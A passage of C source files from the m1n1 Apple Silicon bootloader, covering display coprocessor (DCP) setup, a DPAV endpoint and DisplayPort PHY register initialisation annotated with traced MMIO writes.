device, u64 vm_base); int dart_map(dart_dev_t *dart, uintptr_t iova, void *bfr, size_t len); void dart_unmap(dart_dev_t *dart, uintptr_t iova, size_t len); void dart_free_l2(dart_dev_t *dart, uintptr_t iova); void *dart_translate(dart_dev_t *dart, uintptr_t iova); u64 dart_search(dart_dev_t *dart, void *paddr); u64 dart_find_iova(dart_dev_t *dart, s64 start, size_t len); void dart_shutdown(dart_dev_t *dart); u64 dart_vm_base(dart_dev_t *dart); #endif m1n1-1.4.11/src/dcp.c000066400000000000000000000135711453754430200140710ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "../config.h" #include "adt.h" #include "afk.h" #include "dcp.h" #include "firmware.h" #include "malloc.h" #include "pmgr.h" #include "rtkit.h" #include "smc.h" #include "string.h" #include "utils.h" #include "dcp/dptx_phy.h" struct adt_function_smc_gpio { u32 phandle; char four_cc[4]; u32 gpio; u32 unk; }; static char dcp_pmgr_dev[16] = "DISP0_CPU0"; static u32 dcp_die; static int dcp_hdmi_dptx_init(dcp_dev_t *dcp, const display_config_t *cfg) { int node = adt_path_offset(adt, cfg->dp2hdmi_gpio); if (node < 0) { printf("dcp: failed to find dp2hdmi-gpio node '%s'\n", cfg->dp2hdmi_gpio); return -1; } struct adt_function_smc_gpio dp2hdmi_pwr, hdmi_pwr; int err = adt_getprop_copy(adt, node, "function-dp2hdmi_pwr_en", &dp2hdmi_pwr, sizeof(dp2hdmi_pwr)); if (err < 0) printf("dcp: failed to get dp2hdmi_pwr_en gpio\n"); else dcp->dp2hdmi_pwr_gpio = dp2hdmi_pwr.gpio; err = adt_getprop_copy(adt, node, "function-hdmi_pwr_en", &hdmi_pwr, sizeof(hdmi_pwr)); if (err < 0) printf("dcp: failed to get hdmi_pwr_en gpio\n"); else dcp->hdmi_pwr_gpio = hdmi_pwr.gpio; if (dcp->dp2hdmi_pwr_gpio && dcp->hdmi_pwr_gpio) { smc_dev_t *smc = smc_init(); if (smc) { smc_write_u32(smc, dcp->dp2hdmi_pwr_gpio, 0x800001); smc_write_u32(smc, dcp->hdmi_pwr_gpio, 0x800001); smc_shutdown(smc); } } dcp->die = cfg->die; dcp->phy = dptx_phy_init(cfg->dptx_phy, cfg->dcp_index); if (!dcp->phy) { printf("dcp: failed to init (lp)dptx-phy '%s'\n", cfg->dptx_phy); return -1; } dcp->dpav_ep = dcp_dpav_init(dcp); if (!dcp->dpav_ep) { printf("dcp: failed to initialize dpav endpoint\n"); return -1; } dcp->dptx_ep = dcp_dptx_init(dcp, cfg->num_dptxports); if (!dcp->dptx_ep) { printf("dcp: failed to initialize dptx-port endpoint\n"); dcp_dpav_shutdown(dcp->dpav_ep); return -1; } #ifdef RTKIT_SYSLOG // start system endpoint when extended logging is requested dcp->system_ep = dcp_system_init(dcp); if (!dcp->system_ep) { printf("dcp: failed to initialize system endpoint\n"); dcp_dptx_shutdown(dcp->dptx_ep); dcp_dpav_shutdown(dcp->dpav_ep); return -1; } dcp_system_set_property_u64(dcp->system_ep, "gAFKConfigLogMask", 0xffff); #endif return 0; } int dcp_connect_dptx(dcp_dev_t *dcp) { if (dcp->dptx_ep && dcp->phy) { return dcp_dptx_connect(dcp->dptx_ep, dcp->phy, dcp->die, 0); } return 0; } int dcp_work(dcp_dev_t *dcp) { return afk_epic_work(dcp->afk, -1); } dcp_dev_t *dcp_init(const display_config_t *cfg) { u32 sid; if (cfg && cfg->dptx_phy[0]) { if (os_firmware.version != V13_5) { printf("dcp: dtpx-port is only supported with V13_5 OS firmware.\n"); return NULL; } strncpy(dcp_pmgr_dev, cfg->pmgr_dev, sizeof(dcp_pmgr_dev)); dcp_die = cfg->die; pmgr_adt_power_enable(cfg->dcp); pmgr_adt_power_enable(cfg->dptx_phy); mdelay(25); } int dart_node = adt_path_offset(adt, cfg->dcp_dart); int node = adt_first_child_offset(adt, dart_node); if (node < 0) { printf("dcp: mapper-dcp* not found!\n"); return NULL; } if (ADT_GETPROP(adt, node, "reg", &sid) < 0) { printf("dcp: failed to read dart stream ID!\n"); return NULL; } dcp_dev_t *dcp = calloc(1, sizeof(dcp_dev_t)); if (!dcp) return NULL; dcp->dart_dcp = dart_init_adt(cfg->dcp_dart, 0, sid, true); if (!dcp->dart_dcp) { printf("dcp: failed to initialize DCP DART\n"); goto out_free; } u64 vm_base = dart_vm_base(dcp->dart_dcp); dart_setup_pt_region(dcp->dart_dcp, cfg->dcp_dart, sid, vm_base); dcp->dart_disp = dart_init_adt(cfg->disp_dart, 0, 0, true); if (!dcp->dart_disp) { printf("dcp: failed to initialize DISP DART\n"); goto out_dart_dcp; } // set disp0's page tables at dart-dcp's vm-base dart_setup_pt_region(dcp->dart_disp, cfg->disp_dart, 0, vm_base); dcp->iovad_dcp = iovad_init(vm_base + 0x10000000, vm_base + 0x20000000); dcp->asc = asc_init(cfg->dcp); if (!dcp->asc) { printf("dcp: failed to initialize ASC\n"); goto out_iovad; } dcp->rtkit = rtkit_init("dcp", dcp->asc, dcp->dart_dcp, dcp->iovad_dcp, NULL, false); if (!dcp->rtkit) { printf("dcp: failed to initialize RTKit\n"); goto out_iovad; } if (!rtkit_boot(dcp->rtkit)) { printf("dcp: failed to boot RTKit\n"); goto out_iovad; } dcp->afk = afk_epic_init(dcp->rtkit); if (!dcp->afk) { printf("dcp: failed to initialize AFK\n"); goto out_rtkit; } if (cfg && cfg->dptx_phy[0]) { int ret = dcp_hdmi_dptx_init(dcp, cfg); if (ret < 0) goto out_afk; } return dcp; out_afk: afk_epic_shutdown(dcp->afk); out_rtkit: rtkit_quiesce(dcp->rtkit); rtkit_free(dcp->rtkit); out_iovad: iovad_shutdown(dcp->iovad_dcp, dcp->dart_dcp); dart_shutdown(dcp->dart_disp); out_dart_dcp: dart_shutdown(dcp->dart_dcp); out_free: free(dcp); return NULL; } int dcp_shutdown(dcp_dev_t *dcp, bool sleep) { /* dcp/dcp0 on desktop M2 and M2 Pro/Max devices do not wake from sleep */ dcp_system_shutdown(dcp->system_ep); dcp_dptx_shutdown(dcp->dptx_ep); dcp_dpav_shutdown(dcp->dpav_ep); free(dcp->phy); afk_epic_shutdown(dcp->afk); if (sleep) { rtkit_sleep(dcp->rtkit); pmgr_reset(dcp_die, dcp_pmgr_dev); } else { rtkit_quiesce(dcp->rtkit); } rtkit_free(dcp->rtkit); dart_shutdown(dcp->dart_disp); iovad_shutdown(dcp->iovad_dcp, dcp->dart_dcp); dart_shutdown(dcp->dart_dcp); free(dcp); return 0; } m1n1-1.4.11/src/dcp.h000066400000000000000000000020311453754430200140630ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DCP_H #define DCP_H #include "afk.h" #include "asc.h" #include "dart.h" #include "rtkit.h" #include "dcp/dpav_ep.h" #include "dcp/dptx_port_ep.h" #include "dcp/system_ep.h" typedef struct { const char dcp[24]; const char dcp_dart[24]; const char disp_dart[24]; const char dptx_phy[24]; const char dp2hdmi_gpio[24]; const char pmgr_dev[24]; const char dcp_alias[8]; u32 dcp_index; u8 num_dptxports; u8 die; } display_config_t; typedef struct dcp_dev { dart_dev_t *dart_dcp; dart_dev_t *dart_disp; iova_domain_t *iovad_dcp; asc_dev_t *asc; rtkit_dev_t *rtkit; afk_epic_t *afk; dcp_system_if_t *system_ep; dcp_dpav_if_t *dpav_ep; dcp_dptx_if_t *dptx_ep; dptx_phy_t *phy; u32 die; u32 dp2hdmi_pwr_gpio; u32 hdmi_pwr_gpio; } dcp_dev_t; int dcp_connect_dptx(dcp_dev_t *dcp); int dcp_work(dcp_dev_t *dcp); dcp_dev_t *dcp_init(const display_config_t *config); int dcp_shutdown(dcp_dev_t *dcp, bool sleep); #endif m1n1-1.4.11/src/dcp/000077500000000000000000000000001453754430200137165ustar00rootroot00000000000000m1n1-1.4.11/src/dcp/dpav_ep.c000066400000000000000000000033361453754430200155050ustar00rootroot00000000000000 // SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2022 Sven Peter */ #include #include #include "dpav_ep.h" #include "malloc.h" #include "parser.h" #include "../afk.h" #include "../dcp.h" #include "../types.h" #include "../utils.h" #define DCP_DPAV_ENDPOINT 0x24 #define DCP_DPAV_NUM_SERVICES 4 #define TXBUF_LEN 0x4000 #define RXBUF_LEN 0x4000 typedef struct dcp_dpav_if { afk_epic_ep_t *epic; dcp_dev_t *dcp; } dcp_dpav_if_t; static void dpav_init(afk_epic_service_t *service, const char *name, const char *eclass, s64 unit) { UNUSED(service); UNUSED(name); UNUSED(eclass); UNUSED(unit); dprintf("DPAV: init(name='%s', class='%s' unit=%ld:\n", name, eclass, unit); } static const afk_epic_service_ops_t dcp_dpav_ops[] = { { .name = "AppleDCPDPTXController", .init = dpav_init, }, {}, }; dcp_dpav_if_t *dcp_dpav_init(dcp_dev_t *dcp) { dcp_dpav_if_t *dpav = calloc(1, sizeof(dcp_dpav_if_t)); if (!dpav) return NULL; dpav->dcp = dcp; dpav->epic = afk_epic_start_ep(dcp->afk, DCP_DPAV_ENDPOINT, dcp_dpav_ops, true); if (!dpav->epic) { printf("dpav: failed to initialize EPIC\n"); goto err_free; } int err = afk_epic_start_interface(dpav->epic, dpav, DCP_DPAV_NUM_SERVICES, TXBUF_LEN, RXBUF_LEN); if (err < 0) { printf("dpav: failed to initialize DPAV interface\n"); goto err_shutdown; } return dpav; err_shutdown: afk_epic_shutdown_ep(dpav->epic); err_free: free(dpav); return NULL; } int dcp_dpav_shutdown(dcp_dpav_if_t *dpav) { if (dpav) { afk_epic_shutdown_ep(dpav->epic); free(dpav); } return 0; } m1n1-1.4.11/src/dcp/dpav_ep.h000066400000000000000000000005521453754430200155070ustar00rootroot00000000000000// SPDX-License-Identifier: GPL-2.0-only OR MIT /* Copyright 2023 Janne Grunau */ #ifndef __APPLE_DCP_DPAV_EP_H__ #define __APPLE_DCP_DPAV_EP_H__ #include "../types.h" typedef struct dcp_dev dcp_dev_t; typedef struct dcp_dpav_if dcp_dpav_if_t; dcp_dpav_if_t *dcp_dpav_init(dcp_dev_t *dcp); int dcp_dpav_shutdown(dcp_dpav_if_t *dpav); #endif m1n1-1.4.11/src/dcp/dptx_phy.c000066400000000000000000000531101453754430200157210ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "dptx_phy.h" #include "malloc.h" #include "../adt.h" #include "../utils.h" #define DPTX_MAX_LANES 4 #define DPTX_LANE0_OFFSET 0x5000 #define DPTX_LANE_STRIDE 0x1000 #define DPTX_LANE_END (DPTX_LANE0_OFFSET + DPTX_MAX_LANES * DPTX_LANE_STRIDE) enum dptx_type { DPTX_PHY_T8112, DPTX_PHY_T602X, }; typedef struct dptx_phy { u64 regs[2]; enum dptx_type type; u32 dcp_index; u32 active_lanes; } dptx_phy_t; int dptx_phy_activate(dptx_phy_t *phy) { // MMIO: R.4 0x23c500010 (dptx-phy[1], offset 0x10) = 0x0 // MMIO: W.4 0x23c500010 (dptx-phy[1], offset 0x10) = 0x0 read32(phy->regs[1] + 0x10); write32(phy->regs[1] + 0x10, phy->dcp_index); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x444 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x454 set32(phy->regs[1] + 0x48, 0x010); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x454 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x474 set32(phy->regs[1] + 0x48, 0x020); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x474 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x434 clear32(phy->regs[1] + 0x48, 0x040); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x434 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x534 set32(phy->regs[1] + 0x48, 0x100); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x534 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x734 set32(phy->regs[1] + 0x48, 0x200); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x734 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x334 clear32(phy->regs[1] + 0x48, 0x400); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x334 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x335 set32(phy->regs[1] + 0x48, 0x001); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x335 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x337 set32(phy->regs[1] + 0x48, 0x002); // MMIO: R.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x337 // MMIO: W.4 0x23c500048 (dptx-phy[1], offset 0x48) = 0x333 clear32(phy->regs[1] + 0x48, 0x004); // MMIO: R.4 0x23c542014 (dptx-phy[0], offset 0x2014) = 0x80a0c u32 val_2014 = read32(phy->regs[0] + 0x2014); // MMIO: W.4 0x23c542014 (dptx-phy[0], offset 0x2014) = 0x300a0c write32(phy->regs[0] + 0x2014, (0x30 << 16) | (val_2014 & 0xffff)); // MMIO: R.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x644800 // MMIO: W.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 set32(phy->regs[0] + 0x20b8, 0x010000); // MMIO: R.4 0x23c542220 (dptx-phy[0], offset 0x2220) = 0x11090a2 // MMIO: W.4 0x23c542220 (dptx-phy[0], offset 0x2220) = 0x11090a0 clear32(phy->regs[0] + 0x2220, 0x0000002); // MMIO: R.4 0x23c54222c (dptx-phy[0], offset 0x222c) = 0x103003 // MMIO: W.4 0x23c54222c (dptx-phy[0], offset 0x222c) = 0x103803 set32(phy->regs[0] + 0x222c, 0x000800); // MMIO: R.4 0x23c54222c (dptx-phy[0], offset 0x222c) = 0x103803 // MMIO: W.4 0x23c54222c (dptx-phy[0], offset 0x222c) = 0x103903 set32(phy->regs[0] + 0x222c, 0x000100); // MMIO: R.4 0x23c542230 (dptx-phy[0], offset 0x2230) = 0x2308804 // MMIO: W.4 0x23c542230 (dptx-phy[0], offset 0x2230) = 0x2208804 clear32(phy->regs[0] + 0x2230, 0x0100000); // MMIO: R.4 0x23c542278 (dptx-phy[0], offset 0x2278) = 0x18300811 // MMIO: W.4 0x23c542278 (dptx-phy[0], offset 0x2278) = 0x10300811 clear32(phy->regs[0] + 0x2278, 0x08000000); // MMIO: R.4 0x23c5422a4 (dptx-phy[0], offset 0x22a4) = 0x1044200 // MMIO: W.4 0x23c5422a4 (dptx-phy[0], offset 0x22a4) = 0x1044201 set32(phy->regs[0] + 0x22a4, 0x0000001); // MMIO: R.4 0x23c544008 (dptx-phy[0], offset 0x4008) = 0x18030 u32 val_4008 = read32(phy->regs[0] + 0x4008); // MMIO: W.4 0x23c544008 (dptx-phy[0], offset 0x4008) = 0x30030 write32(phy->regs[0] + 0x4008, (0x6 << 15) | (val_4008 & 0x7fff)); // MMIO: R.4 0x23c544008 (dptx-phy[0], offset 0x4008) = 0x30030 // MMIO: W.4 0x23c544008 (dptx-phy[0], offset 0x4008) = 0x30010 clear32(phy->regs[0] + 0x4008, 0x00020); // MMIO: R.4 0x23c54420c (dptx-phy[0], offset 0x420c) = 0x88e3 // MMIO: W.4 0x23c54420c (dptx-phy[0], offset 0x420c) = 0x88c3 clear32(phy->regs[0] + 0x420c, 0x0020); // MMIO: R.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x0 // MMIO: W.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000000 set32(phy->regs[0] + 0x4600, 0x8000000); // MMIO: R.4 0x23c545040 (dptx-phy[0], offset 0x5040) = 0x21780 // MMIO: W.4 0x23c545040 (dptx-phy[0], offset 0x5040) = 0x221780 // MMIO: R.4 0x23c546040 (dptx-phy[0], offset 0x6040) = 0x21780 // MMIO: W.4 0x23c546040 (dptx-phy[0], offset 0x6040) = 0x221780 // MMIO: R.4 0x23c547040 (dptx-phy[0], offset 0x7040) = 0x21780 // MMIO: W.4 0x23c547040 (dptx-phy[0], offset 0x7040) = 0x221780 // MMIO: R.4 0x23c548040 (dptx-phy[0], offset 0x8040) = 0x21780 // MMIO: W.4 0x23c548040 (dptx-phy[0], offset 0x8040) = 0x221780 for (u32 loff = DPTX_LANE0_OFFSET; loff < DPTX_LANE_END; loff += DPTX_LANE_STRIDE) set32(phy->regs[0] + loff + 0x40, 0x200000); // MMIO: R.4 0x23c545040 (dptx-phy[0], offset 0x5040) = 0x221780 // MMIO: W.4 0x23c545040 (dptx-phy[0], offset 0x5040) = 0x2a1780 // MMIO: R.4 0x23c546040 (dptx-phy[0], offset 0x6040) = 0x221780 // MMIO: W.4 0x23c546040 (dptx-phy[0], offset 0x6040) = 0x2a1780 // MMIO: R.4 0x23c547040 (dptx-phy[0], offset 0x7040) = 0x221780 // MMIO: W.4 0x23c547040 (dptx-phy[0], offset 0x7040) = 0x2a1780 // MMIO: R.4 0x23c548040 (dptx-phy[0], offset 0x8040) = 0x221780 // MMIO: W.4 0x23c548040 (dptx-phy[0], offset 0x8040) = 0x2a1780 for (u32 loff = DPTX_LANE0_OFFSET; loff < DPTX_LANE_END; loff += DPTX_LANE_STRIDE) set32(phy->regs[0] + loff + 0x40, 0x080000); // MMIO: R.4 0x23c545244 (dptx-phy[0], offset 0x5244) = 0x18 // MMIO: W.4 0x23c545244 (dptx-phy[0], offset 0x5244) = 0x8 // MMIO: R.4 0x23c546244 (dptx-phy[0], offset 0x6244) = 0x18 // MMIO: W.4 0x23c546244 (dptx-phy[0], offset 0x6244) = 0x8 // MMIO: R.4 0x23c547244 (dptx-phy[0], offset 0x7244) = 0x18 // MMIO: W.4 0x23c547244 (dptx-phy[0], offset 0x7244) = 0x8 // MMIO: R.4 0x23c548244 (dptx-phy[0], offset 0x8244) = 0x18 // MMIO: W.4 0x23c548244 (dptx-phy[0], offset 0x8244) = 0x8 for (u32 loff = DPTX_LANE0_OFFSET; loff < DPTX_LANE_END; loff += DPTX_LANE_STRIDE) clear32(phy->regs[0] + loff + 0x244, 0x10); // MMIO: R.4 0x23c542214 (dptx-phy[0], offset 0x2214) = 0x1e0 // MMIO: W.4 0x23c542214 (dptx-phy[0], offset 0x2214) = 0x1e1 set32(phy->regs[0] + 0x2214, 0x001); // MMIO: R.4 0x23c542224 (dptx-phy[0], offset 0x2224) = 0x20086001 // MMIO: W.4 0x23c542224 (dptx-phy[0], offset 0x2224) = 0x20086000 clear32(phy->regs[0] + 0x2224, 0x00000001); // MMIO: R.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2000 // MMIO: W.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2002 set32(phy->regs[0] + 0x2200, 0x0002); // MMIO: R.4 0x23c541000 (dptx-phy[0], offset 0x1000) = 0xe0000003 // MMIO: W.4 0x23c541000 (dptx-phy[0], offset 0x1000) = 0xe0000001 clear32(phy->regs[0] + 0x1000, 0x00000002); // MMIO: R.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x41 // MMIO: W.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x49 set32(phy->regs[0] + 0x4004, 0x08); /* TODO: no idea what happens here, supposedly setting/clearing some bits */ // MMIO: R.4 0x23c544404 (dptx-phy[0], offset 0x4404) = 0x555d444 read32(phy->regs[0] + 0x4404); // MMIO: W.4 0x23c544404 (dptx-phy[0], offset 0x4404) = 0x555d444 write32(phy->regs[0] + 0x4404, 0x555d444); // MMIO: R.4 0x23c544404 (dptx-phy[0], offset 0x4404) = 0x555d444 read32(phy->regs[0] + 0x4404); // MMIO: W.4 0x23c544404 (dptx-phy[0], offset 0x4404) = 0x555d444 write32(phy->regs[0] + 0x4404, 0x555d444); dptx_phy_set_active_lane_count(phy, 0); // MMIO: R.4 0x23c544200 (dptx-phy[0], offset 0x4200) = 0x4002430 // MMIO: W.4 0x23c544200 (dptx-phy[0], offset 0x4200) = 0x4002420 clear32(phy->regs[0] + 0x4200, 0x0000010); // MMIO: R.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000000 // MMIO: W.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000000 clear32(phy->regs[0] + 0x4600, 0x0000001); // MMIO: R.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000000 // MMIO: W.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000001 set32(phy->regs[0] + 0x4600, 0x0000001); // MMIO: R.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000001 // MMIO: W.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000003 set32(phy->regs[0] + 0x4600, 0x0000002); // MMIO: R.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000043 // MMIO: R.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000043 // MMIO: W.4 0x23c544600 (dptx-phy[0], offset 0x4600) = 0x8000041 /* TODO: read first to check if the previous set(...,0x2) sticked? */ read32(phy->regs[0] + 0x4600); clear32(phy->regs[0] + 0x4600, 0x0000001); // MMIO: R.4 0x23c544408 (dptx-phy[0], offset 0x4408) = 0x482 // MMIO: W.4 0x23c544408 (dptx-phy[0], offset 0x4408) = 0x482 /* TODO: probably a set32 of an already set bit */ u32 val_4408 = read32(phy->regs[0] + 0x4408); if (val_4408 != 0x482 && val_4408 != 0x483) printf("DPTX-PHY: unexpected initial value at regs[0] offset 0x4408: 0x%03x\n", val_4408); write32(phy->regs[0] + 0x4408, val_4408); // MMIO: R.4 0x23c544408 (dptx-phy[0], offset 0x4408) = 0x482 // MMIO: W.4 0x23c544408 (dptx-phy[0], offset 0x4408) = 0x483 set32(phy->regs[0] + 0x4408, 0x001); return 0; } int dptx_phy_set_active_lane_count(dptx_phy_t *phy, u32 num_lanes) { u32 l; dprintf("DPTX-PHY: set_active_lane_count(%u) phy_regs = {0x%lx, 0x%lx}\n", num_lanes, phy->regs[0], phy->regs[1]); if (num_lanes == 3 || num_lanes > DPTX_MAX_LANES) return -1; u32 ctrl = read32(phy->regs[0] + 0x4000); write32(phy->regs[0] + 0x4000, ctrl); for (l = 0; l < num_lanes; l++) { u64 offset = 0x5000 + 0x1000 * l; read32(phy->regs[0] + offset); write32(phy->regs[0] + offset, 0x100); } for (; l < DPTX_MAX_LANES; l++) { u64 offset = 0x5000 + 0x1000 * l; read32(phy->regs[0] + offset); write32(phy->regs[0] + offset, 0x300); } for (l = 0; l < num_lanes; l++) { u64 offset = 0x5000 + 0x1000 * l; read32(phy->regs[0] + offset); write32(phy->regs[0] + offset, 0x0); } for (; l < DPTX_MAX_LANES; l++) { u64 offset = 0x5000 + 0x1000 * l; read32(phy->regs[0] + offset); write32(phy->regs[0] + offset, 0x300); } if (num_lanes > 0) { // clear32(phy->regs[0] + 0x4000, 0x4000000); ctrl = read32(phy->regs[0] + 0x4000); ctrl &= ~0x4000000; write32(phy->regs[0] + 0x4000, ctrl); } phy->active_lanes = num_lanes; return 0; } int dptx_phy_set_link_rate(dptx_phy_t *phy, u32 link_rate) { UNUSED(link_rate); u32 sts_1008, sts_1014; // MMIO: R.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x49 // MMIO: W.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x49 set32(phy->regs[0] + 0x4004, 0x08); // MMIO: R.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac // MMIO: W.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac clear32(phy->regs[0] + 0x4000, 0x0000040); // MMIO: R.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x49 // MMIO: W.4 0x23c544004 (dptx-phy[0], offset 0x4004) = 0x41 clear32(phy->regs[0] + 0x4004, 0x08); // MMIO: R.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac // MMIO: W.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac clear32(phy->regs[0] + 0x4000, 0x2000000); // MMIO: R.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac // MMIO: W.4 0x23c544000 (dptx-phy[0], offset 0x4000) = 0x41021ac set32(phy->regs[0] + 0x4000, 0x1000000); // MMIO: R.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2002 // MMIO: R.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2002 // MMIO: W.4 0x23c542200 (dptx-phy[0], offset 0x2200) = 0x2000 /* TODO: what is this read checking for? */ read32(phy->regs[0] + 0x2200); clear32(phy->regs[0] + 0x2200, 0x0002); // MMIO: R.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf000 // MMIO: W.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf000 // MMIO: R.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf000 // MMIO: W.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf008 /* TODO: what is the setting/clearing? */ u32 val_100c = read32(phy->regs[0] + 0x100c); write32(phy->regs[0] + 0x100c, val_100c); set32(phy->regs[0] + 0x100c, 0x0008); // MMIO: R.4 0x23c541014 (dptx-phy[0], offset 0x1014) = 0x1 sts_1014 = read32(phy->regs[0] + 0x1014); UNUSED(sts_1014); /* TODO: assert(sts_1014 == 0x1); */ // MMIO: R.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf008 // MMIO: W.4 0x23c54100c (dptx-phy[0], offset 0x100c) = 0xf000 clear32(phy->regs[0] + 0x100c, 0x0008); // MMIO: R.4 0x23c541008 (dptx-phy[0], offset 0x1008) = 0x1 sts_1008 = read32(phy->regs[0] + 0x1008); UNUSED(sts_1008); /* TODO: assert(sts_1008 == 0x1); */ // MMIO: R.4 0x23c542220 (dptx-phy[0], offset 0x2220) = 0x11090a0 // MMIO: W.4 0x23c542220 (dptx-phy[0], offset 0x2220) = 0x1109020 clear32(phy->regs[0] + 0x2220, 0x0000080); // MMIO: R.4 0x23c5420b0 (dptx-phy[0], offset 0x20b0) = 0x1e0e01c2 // MMIO: W.4 0x23c5420b0 (dptx-phy[0], offset 0x20b0) = 0x1e0e01c2 u32 val_20b0 = read32(phy->regs[0] + 0x20b0); /* TODO: what happens on dptx-phy */ if (phy->type == DPTX_PHY_T602X) val_20b0 = (val_20b0 & ~0x3ff) | 0x2a3; write32(phy->regs[0] + 0x20b0, val_20b0); // MMIO: R.4 0x23c5420b4 (dptx-phy[0], offset 0x20b4) = 0x7fffffe // MMIO: W.4 0x23c5420b4 (dptx-phy[0], offset 0x20b4) = 0x7fffffe u32 val_20b4 = read32(phy->regs[0] + 0x20b4); /* TODO: what happens on dptx-phy */ if (phy->type == DPTX_PHY_T602X) val_20b4 = (val_20b4 | 0x4000000) & ~0x0008000; write32(phy->regs[0] + 0x20b4, val_20b4); // MMIO: R.4 0x23c5420b4 (dptx-phy[0], offset 0x20b4) = 0x7fffffe // MMIO: W.4 0x23c5420b4 (dptx-phy[0], offset 0x20b4) = 0x7fffffe val_20b4 = read32(phy->regs[0] + 0x20b4); /* TODO: what happens on dptx-phy */ if (phy->type == DPTX_PHY_T602X) val_20b4 = (val_20b4 | 0x0000001) & ~0x0000004; write32(phy->regs[0] + 0x20b4, val_20b4); // MMIO: R.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 // MMIO: W.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 /* TODO: unclear */ set32(phy->regs[0] + 0x20b8, 0); // MMIO: R.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 // MMIO: W.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 /* TODO: unclear */ set32(phy->regs[0] + 0x20b8, 0); // MMIO: R.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 // MMIO: W.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 /* TODO: unclear */ if (phy->type == DPTX_PHY_T602X) set32(phy->regs[0] + 0x20b8, 0x010000); else set32(phy->regs[0] + 0x20b8, 0); // MMIO: R.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x654800 // MMIO: W.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x454800 clear32(phy->regs[0] + 0x20b8, 0x200000); // MMIO: R.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x454800 // MMIO: W.4 0x23c5420b8 (dptx-phy[0], offset 0x20b8) = 0x454800 /* TODO: unclear */ set32(phy->regs[0] + 0x20b8, 0); // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x0 // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x8 // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x8 // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0xc // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0xc // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x4000c // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x4000c // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0xc // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0xc // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x8000c // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0x8000c // MMIO: W.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0xc // MMIO: R.4 0x23c5000a0 (dptx-phy[1], offset 0xa0) = 0xc // MMIO: W.4 0x23c5000a0 